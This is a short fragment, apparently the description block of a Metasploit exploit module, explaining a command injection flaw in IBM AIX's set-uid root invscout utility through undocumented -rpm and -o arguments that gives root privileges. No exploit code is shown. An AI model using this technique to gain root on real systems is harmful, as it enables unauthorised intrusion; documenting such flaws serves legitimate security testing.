'Description' => %q{  
This module exploits a command injection vulnerability in IBM AIX  
invscout set-uid root utility present in AIX 7.2 and earlier.  
  
The undocumented -rpm argument can be used to install an RPM file;  
and the undocumented -o argument passes arguments to the rpm utility  
without validation, leading to command injection with effective-uid  
root privileges.  
  
This module has been tested successfully on AIX 7.2.
